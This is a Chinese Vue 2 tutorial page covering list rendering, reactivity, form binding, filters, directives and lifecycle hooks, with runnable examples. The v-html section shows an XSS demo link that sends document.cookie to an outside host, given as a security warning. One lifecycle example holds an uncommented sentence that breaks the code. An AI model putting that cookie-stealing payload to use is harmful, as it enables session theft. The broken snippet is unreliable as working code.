vue2.0+vue3.0资料（尚硅谷）（二）-阿里云开发者社区

vue2.0+vue3.0资料（尚硅谷）（一）https://developer.aliyun.com/article/1470416

12、列表渲染

12-1、基本列表

v-for指令:
1.用于展示列表数据
2.语法：v-for="(item, index) in xxx" :key="yyy"
3.可遍历：数组、对象、字符串（用的很少）、指定次数（用的很少）

案例：

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>基本列表</title>
    <script type="text/javascript" src="Vue/js/vue.js"></script>
  </head>
  <body>
    <div id="app">
      <!-- 遍历数组 -->
      <h2>人员列表（遍历数组）</h2>
      <ul>
        <!-- <li v-for="p in persons" :key="p.id">{{p.name}}-{{p.age}}</li> -->
        <li v-for="(p,index) of persons" :key="index">
        {{p.name}}-{{p.age}}
        </li>
      </ul>
      
      <!-- 遍历对象 -->
      <h2>汽车信息（遍历对象）</h2>
      <ul>
        <li v-for="(value,k) of car" :key='k'>
        {{k}}-{{value}}
        </li>
      </ul>
      
      <!-- 遍历字符串 -->
      <h2>测试遍历字符串（用得少）</h2>
      <ul>
        <li v-for="(char,index) of str" :key="index">
        {{char}}-{{index}}
        </li>
      </ul>
      
      <!-- 遍历指定次数 -->
      <h2>测试遍历指定次数（用得少）</h2>
      <ul>
        <li v-for="(number,index) of 5" :key="index">
        {{index}}-{{number}}
        </li>
      </ul>
    </div>
    <script type="text/javascript">
      new Vue({
        el:'#app',
        data:{
          persons:[
            {id:'001',name:'张三',age:18},
            {id:'002',name:'李四',age:19},
            {id:'003',name:'王五',age:20},
          ],
          car:{
            name:'奥迪A8',
            price:'70万',
            color:'黑色'
          },
          str:'hello'
        }
      })
    </script>
</html>

12-2、key的原理

面试题：react、vue中的key有什么作用？（key的内部原理）

1、虚拟DOM中key的作用：
key是虚拟DOM对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】, 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较，比较规则如下：

对比规则：
(1).旧虚拟DOM中找到了与新虚拟DOM相同的key：
①.若虚拟DOM中内容没变, 直接使用之前的真实DOM！
②.若虚拟DOM中内容变了, 则生成新的真实DOM，随后替换掉页面中之前的真实DOM。

(2).旧虚拟DOM中未找到与新虚拟DOM相同的key
创建新的真实DOM，随后渲染到到页面。

2、用index作为key或者不声明key的时候（此时默认key的value值为index时）可能会引发的问题：

(1).若对数据进行：逆序添加、逆序删除等破坏顺序操作:
会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

(2).如果结构中还包含输入类的DOM：
会产生错误DOM更新 ==> 界面有问题。

3、开发中如何选择key?:
(1).最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
(2).如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，使用index作为key是没有问题的。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>key的原理</title>
    <script type="text/javascript" src="Vue/js/vue.js"></script>
  </head>
  <body>
    <div id="app">
      <!-- 遍历数组 -->
      <h2>人员列表（遍历数组）</h2>
      <button type="button" @click.once="add">添加一个老刘</button>
      <ul>
        <li v-for="(p,index) of persons" :key="index">
        {{p.name}}-{{p.age}}
        </li>
      </ul>
      
    </div>
    <script type="text/javascript">
      new Vue({
        el:'#app',
        data:{
          persons:[
            {id:'001',name:'张三',age:18},
            {id:'002',name:'李四',age:19},
            {id:'003',name:'王五',age:20},
          ],
        },
        methods:{
          add(){
            const p={
              id:'004',
              name:'老刘',
              age:40
            }
            this.persons.unshift(p)
          }
        }
      })
    </script>
</html>

12-3、列表过滤

filter()：用于把Array中的某些元素过滤掉，然后返回剩下的元素

'abc'.indexOf(a) 判断字符出现的索引位置，没有就返回-1

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>列表过滤</title>
    <script type="text/javascript" src="Vue/js/vue.js"></script>
  </head>
  <body>
    <div id="app">
      <h2>人员列表</h2>
      <input type="text" placeholder="请输入名字" v-model="keyWord">
      <ul>
        <li v-for="(p,index) of filPerons" :key="index">
          {{p.name}}-{{p.age}}-{{p.sex}}
        </li>
      </ul>
    </div>
    <script type="text/javascript">
      Vue.config.productionTip = false
      
      //用watch实现
      //#region 
      /* new Vue({
        el:'#app',
        data:{
          keyWord:'',
          persons:[
            {id:'001',name:'马冬梅',age:19,sex:'女'},
            {id:'002',name:'周冬雨',age:20,sex:'女'},
            {id:'003',name:'周杰伦',age:21,sex:'男'},
            {id:'004',name:'温兆伦',age:22,sex:'男'}
          ],
          filPerons:[]
        },
        watch:{
          keyWord:{
            immediate:true,
            handler(val){
              this.filPerons = this.persons.filter((p)=>{
                return p.name.indexOf(val) !== -1
              })
            }
          }
        }
      }) */
      //#endregion
      
      //用computed实现
      new Vue({
        el:'#app',
        data:{
          keyWord:'',
          persons:[
            {id:'001',name:'马冬梅',age:19,sex:'女'},
            {id:'002',name:'周冬雨',age:20,sex:'女'},
            {id:'003',name:'周杰伦',age:21,sex:'男'},
            {id:'004',name:'温兆伦',age:22,sex:'男'}
          ]
        },
        computed:{
          filPerons(){
            return this.persons.filter((p)=>{
              return p.name.indexOf(this.keyWord) !== -1
            })
          }
        }
      }) 
    </script>
</html>

12-4、列表排序

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>列表排序</title>
    <script type="text/javascript" src="Vue/js/vue.js"></script>
  </head>
  <body>
    <div id="app">
      <h2>人员列表</h2>
      <input type="text" placeholder="请输入名字" v-model="keyWord">
      <button @click="sortType = 2">年龄升序</button>
      <button @click="sortType = 1">年龄降序</button>
      <button @click="sortType = 0">原顺序</button>
      <ul>
        <li v-for="(p,index) of filPerons" :key="p.id">
          {{p.name}}-{{p.age}}-{{p.sex}}
          <input type="text">
        </li>
      </ul>
    </div>
    <script type="text/javascript">
      new Vue({
        el:'#app',
        data:{
          keyWord:'',
          sortType:0, //0原顺序 1降序 2升序
          persons:[
            {id:'001',name:'马冬梅',age:30,sex:'女'},
            {id:'002',name:'周冬雨',age:31,sex:'女'},
            {id:'003',name:'周杰伦',age:18,sex:'男'},
            {id:'004',name:'温兆伦',age:19,sex:'男'}
          ]
        },
        computed:{
          filPerons(){
            const arr = this.persons.filter((p)=>{
              return p.name.indexOf(this.keyWord) !== -1
            })
            //判断一下是否需要排序
            if(this.sortType){
              arr.sort((p1,p2)=>{
                return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
              })
            }
            return arr
          }
        }
      }) 
    </script>
</html>

12-5、更新时的一个问题

Vue里面原本就有一个watch，而侦听属性的watch是给程序员用的。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>更新时的一个问题</title>
    <script type="text/javascript" src="Vue/js/vue.js"></script>
  </head>
  <body>
    <div id="app">
      <h2>人员列表</h2>
      <button @click="updateMei">更新马冬梅的信息</button>
      <ul>
        <li v-for="(p,index) of persons" :key="p.id">
          {{p.name}}-{{p.age}}-{{p.sex}}
        </li>
      </ul>
    </div>
    <script type="text/javascript">
      Vue.config.productionTip = false
      
      const vm = new Vue({
        el:'#app',
        data:{
          persons:[
            {id:'001',name:'马冬梅',age:30,sex:'女'},
            {id:'002',name:'周冬雨',age:31,sex:'女'},
            {id:'003',name:'周杰伦',age:18,sex:'男'},
            {id:'004',name:'温兆伦',age:19,sex:'男'}
          ]
        },
        methods: {
          updateMei(){
            // this.persons[0].name = '马老师' //奏效
            // this.persons[0].age = 50 //奏效
            // this.persons[0].sex = '男' //奏效
            // this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效
            this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'})//这是最后得出的结论
          }
        }
      }) 
    </script>
</html>

12-6、模拟一个Vue数据监测

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>Document</title>
  </head>
  <body>
    <script type="text/javascript" >
      let data = {
        name:'111',
        address:'222',
      }
      //创建一个监视的实例对象，用于监视data中属性的变化
      const obs = new Observer(data)    
      console.log(obs)  
      //准备一个vm实例对象
      let vm = {}
      vm._data = data = obs
      function Observer(obj){
        //汇总对象中所有的属性形成一个数组
        const keys = Object.keys(obj)
        //遍历
        keys.forEach((k)=>{
          Object.defineProperty(this,k,{
            get(){
              return obj[k]
            },
            set(val){
              console.log(`${k}被改了，我要去解析模板，生成虚拟DOM.....我要开始忙了`)
              obj[k] = val
            }
          })
        })
      }
    </script>
  </body>
</html>

12-7、Vue监测数据改变的原理__对象

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>Vue监测数据改变的原理</title>
    <script type="text/javascript" src="Vue/js/vue.js"></script>
  </head>
  <body>
    <div id="app">
      <h2>学校名称：{{name}}</h2>
      <h2>学校地址：{{address}}</h2>
    </div>
  </body>
  <script type="text/javascript">
    const vm = new Vue({
      el:'#app',
      data:{
        name:'111',
        address:'222',
        student:{
          name:'tom',
          age:{
            rAge:40,
            sAge:29,
          },
          friends:[
            {name:'jerry',age:35}
          ]
        }
      }
    })
  </script>
</html>

12-8、Vue.set()方法

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>Vue.set()使用方法</title>
    <script type="text/javascript" src="Vue/js/vue.js"></script>
  </head>
  <body>
    <div id="app">
      <h1>学校信息</h1>
      <h2>学校名称：{{school.name}}</h2>
      <h2>学校地址：{{school.address}}</h2>
      <h2>校长是：{{school.leader}}</h2>
      <hr/>
      <h1>学生信息</h1>
      <button @click="addSex">添加一个性别属性，默认值是男</button>
      <h2>姓名：{{student.name}}</h2>
      <h2 v-if="student.sex">性别：{{student.sex}}</h2>
      <h2>年龄：真实{{student.age.rAge}}，对外{{student.age.sAge}}</h2>
      <h2>朋友们</h2>
      <ul>
        <li v-for="(f,index) in student.friends" :key="index">
          {{f.name}}--{{f.age}}
        </li>
      </ul>
    </div>
  </body>
  <script type="text/javascript">
    const vm = new Vue({
      el:'#app',
      data:{
        school:{
          name:'111',
          address:'222',
        },
        student:{
          name:'tom',
          age:{
            rAge:40,
            sAge:29,
          },
          friends:[
            {name:'jerry',age:35},
            {name:'tony',age:36}
          ]
        }
      },
      methods: {
        addSex(){
          // Vue.set(this.student,'sex','男')
          this.$set(this.student,'sex','男')
        }
      }
    })
  </script>
</html>

12-9、Vue监测数据改变的原理__数组

在Vue修改数组中的某个元素一定要用如下方法：
1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
2.Vue.set() 或 vm.$set()

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>Vue监测数据改变的原理_数组</title>
    <script type="text/javascript" src="Vue/js/vue.js"></script>
  </head>
  <body>
    <div id="app">
      <h1>学生信息</h1>
      <h2>爱好</h2>
      <ul>
        <li v-for="(h,index) in student.hobby" :key="index">
          {{h}}
        </li>
      </ul>
    </div>
  </body>
  <script type="text/javascript">
    const vm = new Vue({
      el:'#app',
      data:{
        student:{
          hobby:['抽烟','喝酒','烫头'],
        }
      },
    })
  </script>
</html>

12-10、总结Vue数据监测

Vue监视数据的原理：

1.vue会监视data中所有层次的数据。

2.如何监测对象中的数据？
通过setter实现监视，且要在new Vue时就传入要监测的数据。
(1).对象中后追加的属性，Vue默认不做响应式处理
(2).如需给后添加的属性做响应式，请使用如下API：
Vue.set(target，propertyName/index，value)

或

vm.$set(target，propertyName/index，value)

3.如何监测数组中的数据？
通过包裹数组更新元素的方法实现，本质就是做了两件事：
(1).调用原生对应的方法对数组进行更新。
(2).重新解析模板，进而更新页面。

4.在Vue修改数组中的某个元素一定要用如下方法：
1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
2.Vue.set() 或 vm.set() 不能给vm 或 vm的根数据对象添加属性！！！

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>总结数据监视</title>
    <style>
      button{
        margin-top: 10px;
      }
    </style>
    <script type="text/javascript" src="Vue/js/vue.js"></script>
  </head>
  <body>
    <div id="app">
      <h1>学生信息</h1>
      <button @click="student.age++">年龄+1岁</button> <br/>
      <button @click="addSex">添加性别属性，默认值：男</button> <br/>
      <button @click="student.sex = '未知' ">修改性别</button> <br/>
      <button @click="addFriend">在列表首位添加一个朋友</button> <br/>
      <button @click="updateFirstFriendName">修改第一个朋友的名字为：张三</button> <br/>
      <button @click="addHobby">添加一个爱好</button> <br/>
      <button @click="updateHobby">修改第一个爱好为：开车</button> <br/>
      <button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/>
      <h3>姓名：{{student.name}}</h3>
      <h3>年龄：{{student.age}}</h3>
      <h3 v-if="student.sex">性别：{{student.sex}}</h3>
      <h3>爱好：</h3>
      <ul>
        <li v-for="(h,index) in student.hobby" :key="index">
          {{h}}
        </li>
      </ul>
      <h3>朋友们：</h3>
      <ul>
        <li v-for="(f,index) in student.friends" :key="index">
          {{f.name}}--{{f.age}}
        </li>
      </ul>
    </div>
  </body>
  <script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    const vm = new Vue({
      el:'#app',
      data:{
        student:{
          name:'tom',
          age:18,
          hobby:['抽烟','喝酒','烫头'],
          friends:[
            {name:'jerry',age:35},
            {name:'tony',age:36}
          ]
        }
      },
      methods: {
        addSex(){
          // Vue.set(this.student,'sex','男')
          this.$set(this.student,'sex','男')
        },
        addFriend(){
          this.student.friends.unshift({name:'jack',age:70})
        },
        updateFirstFriendName(){
          this.student.friends[0].name = '张三'
        },
        addHobby(){
          this.student.hobby.push('学习')
        },
        updateHobby(){
          // this.student.hobby.splice(0,1,'开车')
          // Vue.set(this.student.hobby,0,'开车')
          this.$set(this.student.hobby,0,'开车')
        },
        removeSmoke(){
          this.student.hobby = this.student.hobby.filter((h)=>{
            return h !== '抽烟'
          })
        }
      }
    })
  </script>
</html>

12-11、数据劫持

数据劫持：
指的是在访问或者修改对象的某个属性时，通过一段代码拦截这个行为，进行额外的操作或者修改返回结果。比较典型的是Object.defineProperty()和 ES2016 中新增的Proxy对象。数据劫持最著名的应用当属双向绑定，这也是一个已经被讨论烂了的面试必考题。例如 Vue 2.x 使用的是Object.defineProperty()(Vue 在 3.x 版本之后改用 Proxy 进行实现)。

Vue的双向绑定就是利用 Object.defineProperty()，并且把内部解耦为 Observer, Dep, 并使用 Watcher 相连。

数组的以下几个方法不会触发 set：（push、pop、shift、unshift、splice、sort、reverse ）

Vue 把这些方法定义为变异方法，指的是会修改原来数组的方法。与之对应则是非变异方法，例如 filter, concat, slice 等，它们都不会修改原始数组，而会返回一个新的数组。

13、收集表单数据

收集表单数据：

若：<input type="text"/>，则v-model收集的是value值，用户输入的就是value值。
若：<input type="radio"/>，则v-model收集的是value值，且要给标签配置value值。
若：<input type="checkbox"/>
      1.没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）
      2.配置input的value属性:
        (1)v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值）
        (2)v-model的初始值是数组，那么收集的的就是value组成的数组

备注：v-model的三个修饰符：
lazy：失去焦点再收集数据
number：输入字符串转为有效的数字
trim：输入首尾空格过滤

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>收集表单数据</title>
    <script type="text/javascript" src="Vue/js/vue.js"></script>
  </head>
  <body>
    <div id="app">
      <form @submit.prevent="demo">
        账号：<input type="text" v-model.trim="userInfo.account"> <br/><br/>
        密码：<input type="password" v-model="userInfo.password"> <br/><br/>
        年龄：<input type="number" v-model.number="userInfo.age"> <br/><br/>
        性别：
        男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
        女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
        爱好：
        学习<input type="checkbox" v-model="userInfo.hobby" value="study">
        打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
        吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
        <br/><br/>
        所属校区
        <select v-model="userInfo.city">
          <option value="">请选择校区</option>
          <option value="beijing">北京</option>
          <option value="shanghai">上海</option>
          <option value="shenzhen">深圳</option>
          <option value="wuhan">武汉</option>
        </select>
        <br/><br/>
        其他信息：
        <textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
        <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="###">《用户协议》</a>
        <button>提交</button>
      </form>
    </div>
  </body>
  <script type="text/javascript">
    new Vue({
      el:'#app',
      data:{
        userInfo:{
          account:'',
          password:'',
          age:18,
          sex:'female',
          hobby:[],
          city:'beijing',
          other:'',
          agree:''
        }
      },
      methods: {
        demo(){
          console.log(JSON.stringify(this.userInfo))
        }
      }
    })
  </script>
</html>

14、过滤器

过滤器：(定义、语法、备注)
定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。
语法：
1.注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}
2.使用过滤器：{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"
备注：
1.过滤器也可以接收额外参数、多个过滤器也可以串联
2.并没有改变原本的数据, 是产生新的对应的数据

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>过滤器</title>
    <script type="text/javascript" src="Vue/js/vue.js"></script>
    <script type="text/javascript" src="Vue/js/dayjs.min.js"></script>
  </head>
  <body>
    <div id="app">
      <h2>显示格式化后的时间</h2>
      <!-- 计算属性实现 -->
      <h3>现在是：{{fmtTime}}</h3>
      <!-- methods实现 -->
      <h3>现在是：{{getFmtTime()}}</h3>
      <!-- 过滤器实现 -->
      <h3>现在是：{{time | timeFormater}}</h3>
      <!-- 过滤器实现（传参） -->
      <h3>现在是：{{time | timeFormater('YYYY_MM_DD')}}</h3>
      <!-- 多个过滤器的串联 -->
      <h3>现在是1：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
      <h3 :x="msg | mySlice">学校名字</h3>
    </div>
    <div id="app2">
      <h2>{{msg | mySlice}}</h2>
    </div>
  </body>
  <script type="text/javascript">
    //全局过滤器
    Vue.filter('mySlice',function(value){
      return value.slice(0,4)
    })
    
    new Vue({
      el:'#app',
      data:{
        time:1621561377603, //时间戳
        msg:'你好，111'
      },
      computed: {
        fmtTime(){
          return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
        }
      },
      methods: {
        getFmtTime(){
          return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
        }
      },
      //局部过滤器
      filters:{
        timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){//如果str有值使用str传的，如果没有则使用这里的''里面默认的值
          // console.log('@',value)
          return dayjs(value).format(str)
        }
      }
    })
    new Vue({
      el:'#app2',
      data:{
        msg:'hello,222!'
      }
    })
  </script>
</html>

15、内置指令

有哪些？

v-bind    : 单向绑定解析表达式, 可简写为 :xxx
v-model   : 双向数据绑定
v-for     : 遍历数组/对象/字符串
v-on      : 绑定事件监听, 可简写为@
v-if    : 条件渲染（动态控制节点是否存存在）
v-else    : 条件渲染（动态控制节点是否存存在）
v-show    : 条件渲染 (动态控制节点是否展示)
v-text指令 : 向其所在的节点中渲染文本内容。
v-html指令 : 向指定节点中渲染包含html结构的内容。
v-cloak指令: 解决网速慢时页面展示出{{xxx}}的问题
v-once指令 : 所在节点初次动态渲染后，就视为静态内容
v-pre指令  : 跳过其所在节点的编译过程

15-1、v-text指令

v-text指令：
1.作用：向其所在的节点中渲染文本内容。
2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>v-text指令</title>
    <script type="text/javascript" src="Vue/js/vue.js"></script>
  </head>
  <body>
    <div id="app">
      <div>你好，{{name}}</div>
      <div v-text="name"></div>
      <div v-text="str"></div>
    </div>
  </body>
  <script type="text/javascript"> 
    new Vue({
      el:'#app',
      data:{
        name:'111',
        str:'<h3>你好啊！</h3>'
      }
    })
  </script>
</html>

15-2、v-html指令

v-html的安全性(cookie)

v-html指令：
1.作用：向指定节点中渲染包含html结构的内容。
2.与插值语法的区别：
(1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
(2).v-html可以识别html结构。
3.严重注意：v-html有安全性问题！！！！
(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>v-html指令</title>
    <script type="text/javascript" src="Vue/js/vue.js"></script>
  </head>
  <body>
    <div id="app">
      <div>你好，{{name}}</div>
      <div v-html="str"></div>
      <div v-html="str2"></div>
    </div>
  </body>
  <script type="text/javascript">
    new Vue({
      el:'#app',
      data:{
        name:'111',
        str:'<h3>你好啊！</h3>',
        str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
      }
    })
  </script>
</html>

15-3、v-cloak指令

v-cloak指令（没有值）：
1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>v-cloak指令</title>
    <style>
      [v-cloak]{
        display:none;
      }
    </style>
  </head>
  <body>
    <div id="app">
      <h2 v-cloak>{{name}}</h2>
    </div>
    <!-- 这里可以调整延迟时间为5s -->
    <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
  </body>
  <script type="text/javascript">
    console.log(1)
    new Vue({
      el:'#app',
      data:{
        name:'111'
      }
    })
  </script>
</html>

15-4、v-once指令

v-once指令：
1.v-once所在节点在初次动态渲染后，就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>v-once指令</title>
    <script type="text/javascript" src="Vue/js/vue.js"></script>
  </head>
  <body>
    <div id="app">
      <!-- 这里只会渲染一次打开页面后就让值定格在1了-->
      <h2 v-once>初始化的n值是:{{n}}</h2>
      <h2>当前的n值是:{{n}}</h2>
      <button @click="n++">点我n+1</button>
    </div>
  </body>
  <script type="text/javascript">
    new Vue({
      el:'#app',
      data:{
        n:1
      }
    })
  </script>
</html>

15-5、v-pre指令

v-pre指令：
1.跳过其所在节点的编译过程。
2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>v-pre指令</title>
    <script type="text/javascript" src="Vue/js/vue.js"></script>
  </head>
  <body>
    <div id="app">
      <h2 v-pre>Vue其实很简单</h2>
      <h2 >当前的n值是:{{n}}</h2>
      <button @click="n++">点我n+1</button>
    </div>
  </body>
  <script type="text/javascript">
    new Vue({
      el:'#app',
      data:{
        n:1
      }
    })
  </script>
</html>

16、自定义指令

16-1、回顾一个DOM操作

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>Document</title>
    <style>
      .demo{
        background-color: orange;
      }
    </style>
  </head>
  <body>
    <button id="btn">点我创建一个输入框</button>
    
    <script type="text/javascript" >
      const btn = document.getElementById('btn')
      btn.onclick = ()=>{
        const input = document.createElement('input')
        input.className = 'demo'
        input.value = 99
        input.onclick = ()=>{alert(1)}
        
        document.body.appendChild(input)
        input.focus()
        // input.parentElement.style.backgroundColor = 'skyblue'
        console.log(input.parentElement)
        
      }
    </script>
  </body>
</html>

16-2、自定义指令操作

自定义指令总结：
一、定义语法：

(1).局部指令：

new Vue({ 
  directives:{指令名:配置对象}         
}) 
或
new Vue({
  directives{指令名:回调函数}
})

(2).全局指令：

Vue.directive(指令名,配置对象)
或
Vue.directive(指令名,回调函数)

二、配置对象中常用的3个回调：
(1).bind：指令与元素成功绑定时调用。
(2).inserted：指令所在元素被插入页面时调用。
(3).update：指令所在模板结构被重新解析时调用。

三、备注：
1.指令定义时不加v-，但使用时要加v-；
2.指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。（user-name式命名）

案例如下：

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>自定义指令</title>
    <script type="text/javascript" src="Vue/js/vue.js"></script>
  </head>
  <body>
    <!-- 
        需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
        需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。
    -->
    <div id="app">
      <h2>{{name}}</h2>
      <h2>当前的n值是：<span v-text="n"></span> </h2>
      <!-- <h2>放大10倍后的n值是：<span v-big-number="n"></span> </h2> -->
      <h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
      <button @click="n++">点我n+1</button>
      <hr/>
      <input type="text" v-fbind:value="n">
    </div>
  </body>
  
  <script type="text/javascript">
    //定义全局指令
    /* Vue.directive('fbind',{
      //指令与元素成功绑定时（一上来）
      bind(element,binding){
        element.value = binding.value
      },
      //指令所在元素被插入页面时
      inserted(element,binding){
        element.focus()
      },
      //指令所在的模板被重新解析时
      update(element,binding){
        element.value = binding.value
      }
    }) */
    
    /* Vue.directive('big',function(element,binding){
      console.log('big',this)//注意此处的this是window
      // console.log('big')
      element.innerText=binding.value*10
    }) */
    new Vue({
      el:'#app',
      data:{
        name:'尚硅谷',
        n:1
      },
      directives:{
        //big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。
        /* 'big-number'(element,binding){
          // console.log('big')
          element.innerText = binding.value * 10
        }, */
        big(element,binding){  //element表示为元素，binding表示为指令与元素的一个关系绑定
          console.log('big',this) //注意(directives)此处的this是window
          // console.log('big')
          // console.dir(a)//console.dir(i) 表示输出(i)这个值到控制台
          // console.log(a instanceof HTMLElement)//instanceof是判断a是不是HTMLElement(网页元素)的实例
          element.innerText = binding.value * 10
        },
        fbind:{
          //指令与元素成功绑定时（一上来）
          bind(element,binding){
            element.value = binding.value
          },
          //指令所在元素被插入页面时
          inserted(element,binding){
            element.focus()
          },
          //指令所在的模板被重新解析时
          update(element,binding){
            element.value = binding.value
            // element.focus()//点击按钮后焦点依旧在这里
          }
        }
      }
    })
    
  </script>
</html>

17、生命周期

17-1、引入生命周期

生命周期：
1.又名：生命周期回调函数、生命周期函数、生命周期钩子。
2.是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数。
3.生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的。

4.生命周期函数中的this指向是vm 或组件实例对象。
5.第一次放入页面叫挂载，后面的叫更新

什么是挂载(mounted)？

Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted

案例如下：

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>引出生命周期</title>
    <script type="text/javascript" src="Vue/js/vue.js"></script>
  </head>
  <body>
    <div id="app">
      <h2 v-if="a">你好啊</h2>
      <h2 :style="{opacity}">欢迎学习Vue</h2>
    </div>
  </body>
  <script type="text/javascript">
     const vm = new Vue({
      el:'#app',
      data:{
        a:false,
        opacity:1
      },
      methods: {
        
      },
      //Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted
      mounted(){
        console.log('mounted',this)
        setInterval(() => {
          this.opacity -= 0.01
          if(this.opacity <= 0) this.opacity = 1
        },16)
      },
    })
    //通过外部的定时器实现（不推荐）
    /* setInterval(() => {
      vm.opacity -= 0.01
      if(vm.opacity <= 0) vm.opacity = 1
    },16) */
  </script>
</html>

17-2、分析生命周期(挂载、更新、与销毁)

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>分析生命周期</title>
    <script type="text/javascript" src="Vue/js/vue.js"></script>
  </head>
  <body>
    <div id="app" :x="n">
      <h2 v-text="n"></h2>
      <h2>当前的n值是：{{n}}</h2>
      <button @click="add">点我n+1</button>
      <button @click="bye">点我销毁vm</button>
    </div>
  </body>
  <script type="text/javascript">
    new Vue({
      el:'#app',
      //template是母版，使用时用render函数渲染
      // template:`
      //  <div> //不能使用template做完组件代替根元素 ，但是可以做为非根元素使用
      //    <h2>当前的n值是：{{n}}</h2>
      //    <button @click="add">点我n+1</button>
      //  </div>
      // `,
      data:{
        n:1
      },
      methods: {
        add(){
          console.log('add')
          this.n++
        },
        bye(){
          console.log('bye')
          this.$destroy()
          //当vm.$destroy被调用时，完全销毁一个实例，清理它与其他实例的连接，解绑了(自定义)事件监听器。
        }
      },
      watch:{
        n(){
          console.log('n变了')
        }
      },
      beforeCreate() {
        console.log('beforeCreate')
        //此处没有vm中的_data、methods中的配置方法。
      },
      created() {
        console.log('created')
        //此处开始有vm和_data、methods中的配置方法以及数据监测和数据代理。
      },
      beforeMount() {
        console.log('beforeMount')
        //此处呈现的是未经Vue编译的DOM结构，所有对DOM的操作都是不奏效的
      },
      mounted() {
        console.log('mounted')
        //页面中呈现的是经Vue编译的DOM，至此初始化结束
        //在此处可以进行：开启定时器、发送网络请求、订阅消息、绑定自定义事件、等初始化操作。
      },
      beforeUpdate() {
        console.log('beforeUpdate')
        //此处页面是新的，但是页面是旧的
      },
      updated() {
        console.log('updated')
      },
      beforeDestroy() {
        console.log('beforeDestroy')
        // 此时vm中的data、methods、指令等均可用，此时方法修改不会触发更新。
        //在此阶段，一般进行关闭定时器、取消订阅消息、解绑自定义事件等。
      },
      destroyed() {
        console.log('destroyed')
        此时已经移除监听、子组件、(自定义)事件监听器。
      },
    })
  </script>
</html>

17-3、总结生命周期

vm的一生(vm的生命周期)：
    将要创建==>调用beforeCreate函数
    创建完毕==>调用created函数
   (重要)将要挂载==>调用beforeMount函数
    挂载完毕==>调用mounted函数=====>【重要的钩子】
    将要更新==>调用beforeUpdate函数
    更新完毕==>调用updated函数
   (重要)将要销毁==>调用beforeDestroy函数=>重要的钩子
    销毁完毕==>调用destroyed函数

